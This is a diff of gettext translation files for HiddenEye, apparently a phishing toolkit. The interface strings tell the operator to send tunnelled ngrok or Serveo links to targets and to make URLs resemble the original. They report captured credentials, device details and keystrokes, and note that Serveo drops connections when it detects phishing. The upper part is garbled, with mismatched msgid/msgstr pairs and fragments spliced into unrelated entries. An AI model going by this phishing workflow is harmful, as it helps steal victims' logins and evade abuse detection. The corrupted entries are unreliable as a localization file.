" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
|
||||
"--------------------------------"
|
||||
" {0}[{1}*{0}] PHP has been found. Proceeding."
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
|
||||
"--------------------------------"
|
||||
" {0}[{1}*{0}] PHP has been found. Proceeding."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:26
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:30
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgid "{0}Permissions granted!"
|
||||
msgstr "{0}Permissions granted!"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:31
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
|
||||
msgid "{0}Permissions denied! Please run as {1}sudo{0}"
|
||||
msgstr "{0}Permissions denied! Please run as {1}sudo{0}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:32
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
|
||||
"still able to choose any ports you want."
|
||||
"{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're "
|
||||
"using a {1}Linux/GNU{0} system."
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
|
||||
"still able to choose any ports you want."
|
||||
"{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're "
|
||||
"using a {1}Linux/GNU{0} system."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:36
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
|
||||
"\n"
|
||||
" >> {2}"
|
||||
" {0}[{1}*{0}] INTERNET - {1}[CONNECTED]"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
|
||||
"\n"
|
||||
" >> {2}"
|
||||
" {0}[{1}*{0}] INTERNET - {1}[CONNECTED]"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:37
|
||||
msgid ""
|
||||
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
"\n"
|
||||
" {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]"
|
||||
msgstr ""
|
||||
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
"\n"
|
||||
" {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:38
|
||||
msgid "{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
msgstr "{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:39
|
||||
msgid "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
|
||||
msgstr "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:40
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
|
||||
"please review license agreement when you have some time. \n"
|
||||
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
|
||||
"act so irresponsible with any software you use."
|
||||
"\n"
|
||||
"{0}[{1}!{0}] Network error. Please verify your internet connection."
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
|
||||
"please review license agreement when you have some time. \n"
|
||||
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
|
||||
"act so irresponsible with any software you use."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:41
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
|
||||
"community for all of you, we are always happy to have your help."
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
|
||||
"community for all of you, we are always happy to have your help."
|
||||
"\n"
|
||||
"{0}[{1}!{0}] Network error. Please verify your internet connection."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:42
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
|
||||
"page: (here_will_be_link_soon)"
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
|
||||
"page: (here_will_be_link_soon)"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:43
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
|
||||
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
|
||||
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:47
|
||||
msgid ""
|
||||
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
|
||||
"From Target ... \n"
|
||||
"{2}"
|
||||
"________________________________________________________________________________\n"
|
||||
msgstr ""
|
||||
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
|
||||
"From Target ... \n"
|
||||
"{2}"
|
||||
"________________________________________________________________________________\n"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:48
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
|
||||
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
|
||||
"--------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:49
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
|
||||
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
|
||||
"--------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:50
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:51
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:52
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
|
||||
"still able to choose any ports you want."
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you "
|
||||
"still able to choose any ports you want."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
|
||||
"\n"
|
||||
" >> {2}"
|
||||
msgstr ""
|
||||
"\n"
|
||||
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
|
||||
"\n"
|
||||
" >> {2}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
|
||||
msgid ""
|
||||
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
msgstr ""
|
||||
"{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
|
||||
msgid "{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
msgstr "{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:59
|
||||
msgid "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
|
||||
msgstr "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:60
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
|
||||
"please review license agreement when you have some time. \n"
|
||||
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
|
||||
"act so irresponsible with any software you use."
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, "
|
||||
"please review license agreement when you have some time. \n"
|
||||
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't "
|
||||
"act so irresponsible with any software you use."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:61
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
|
||||
"community for all of you, we are always happy to have your help."
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] Our website has forum, please visit it, we want to build great "
|
||||
"community for all of you, we are always happy to have your help."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:62
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
|
||||
"page: (here_will_be_link_soon)"
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] If you want to support us with finances - visit our patreon "
|
||||
"page: (here_will_be_link_soon)"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:63
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
|
||||
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
msgstr ""
|
||||
"{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}"
|
||||
"DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:67
|
||||
msgid ""
|
||||
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
|
||||
"From Target ... \n"
|
||||
"{2}"
|
||||
"________________________________________________________________________________\n"
|
||||
msgstr ""
|
||||
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming "
|
||||
"From Target ... \n"
|
||||
"{2}"
|
||||
"________________________________________________________________________________\n"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:68
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:69
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:70
|
||||
msgid ""
|
||||
"\n"
|
||||
" {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n"
|
||||
msgstr ""
|
||||
"\n"
|
||||
" {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:54
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:74
|
||||
msgid ""
|
||||
" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
|
||||
msgstr ""
|
||||
" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:55
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:75
|
||||
msgid "{0}Do you accept {1}license{0}?"
|
||||
msgstr "{0}Do you accept {1}license{0}?"
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:76
|
||||
msgid "{0}Enter: {1}{text_to_confirm}{0} to confirm."
|
||||
msgstr "{0}Enter: {1}{text_to_confirm}{0} to confirm."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:77
|
||||
msgid "{0}You are {1}not allowed {0}to use this app without accepting license."
|
||||
msgstr ""
|
||||
"{0}You are {1}not allowed {0}to use this app without accepting license."
|
||||
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:78
|
||||
msgid ""
|
||||
"\n"
|
||||
" GNU GENERAL PUBLIC LICENSE\n"
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
msgid ""
|
||||
msgstr ""
|
||||
"Project-Id-Version: PACKAGE VERSION\n"
|
||||
"POT-Creation-Date: 2020-05-11 14:09+0300\n"
|
||||
"POT-Creation-Date: 2020-06-09 02:44+0300\n"
|
||||
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
|
||||
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
|
||||
"Language-Team: LANGUAGE <LL@li.org>\n"
|
||||
|
@ -82,7 +82,7 @@ msgstr ""
|
|||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:49
|
||||
msgid "{0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode)"
|
||||
msgid "{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
|
@ -108,7 +108,7 @@ msgstr ""
|
|||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_main_runner.py:55
|
||||
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)"
|
||||
msgid "{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
|
@ -211,12 +211,190 @@ msgid ""
|
|||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:14
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:14
|
||||
msgid ""
|
||||
"{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:15
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]{0}Select Any Available Server:{1}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:24
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ LOCALHOST SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:25
|
||||
msgid "Your Localhost is "
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:26
|
||||
msgid ""
|
||||
"\n"
|
||||
"[*] Starting Server On Address:: {0}:{1}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:27
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:28
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:29
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} Localhost URL: {2}http://"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:33
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ NGROK SERVER ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:34
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:35
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} NGROK URL: {2}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:39
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ RANDOM SERVEO URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:40
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ CUSTOM SERVEO URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:41
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:42
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:43
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}Insert a custom subdomain for serveo"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:44
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{1} SERVEO URL: {2}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:45
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}FAILED TO GET THIS DOMAIN."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:46
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:47
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)..."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:48
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:49
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:50
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:54
|
||||
msgid "{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py:58
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n"
|
||||
"-------------------------------"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:16
|
||||
msgid "Yes, i do"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:15
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:18
|
||||
msgid ""
|
||||
"\n"
|
||||
" # To Accept EULA set eula to True\n"
|
||||
|
@ -226,7 +404,59 @@ msgid ""
|
|||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:22
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:25
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] PHP has been found. Proceeding."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:26
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] Unable to find PHP, please install PHP and try again."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:30
|
||||
msgid "{0}Permissions granted!"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:31
|
||||
msgid "{0}Permissions denied! Please run as {1}sudo{0}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:32
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:36
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] INTERNET - {1}[CONNECTED]"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:37
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:38
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}!{0}] Network error. Please verify your internet connection."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:42
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}] SELECT ANY MODE...{0}\n"
|
||||
|
@ -234,7 +464,7 @@ msgid ""
|
|||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:30
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:50
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n"
|
||||
|
@ -242,21 +472,21 @@ msgid ""
|
|||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:31
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:51
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0}]Select Port [1-65535]:{1}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:32
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:52
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:36
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
|
||||
msgid ""
|
||||
"\n"
|
||||
"{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n"
|
||||
|
@ -265,92 +495,92 @@ msgid ""
|
|||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:37
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
|
||||
msgid "{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:38
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
|
||||
msgid "{0}[{1}!{0}] If any phishing page got broken, please let us know."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:39
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:59
|
||||
msgid "{0}[{1}!{0}] You can create issue or pull request on our GitHub page."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:40
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:60
|
||||
msgid ""
|
||||
"{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n"
|
||||
"{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:41
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:61
|
||||
msgid "{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
